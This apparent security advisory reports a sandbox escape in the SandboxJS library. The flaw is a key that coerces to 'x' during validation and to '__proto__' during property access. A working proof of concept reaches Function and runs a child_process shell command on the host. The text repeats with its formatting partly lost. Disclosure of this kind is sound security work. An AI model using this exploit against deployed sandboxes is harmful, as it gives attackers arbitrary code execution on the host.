Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
|
addOps(LispType.Prop, (exec, done, ticks, a, b: string, obj, context, scope) => { |
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using
hasOwnProperty(key) and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run(); Impact
Remote code execution, if attacker can execute code inside the sandbox.
cristianstaicu Reporter
Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (
bin the code below) is annotated asstring, this is never enforced:SandboxJS/src/executor.ts
Line 304 in 6103d71
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using
hasOwnProperty(key)and a different one for when the key is used for the actual property access.PoC
Impact
Remote code execution, if attacker can execute code inside the sandbox.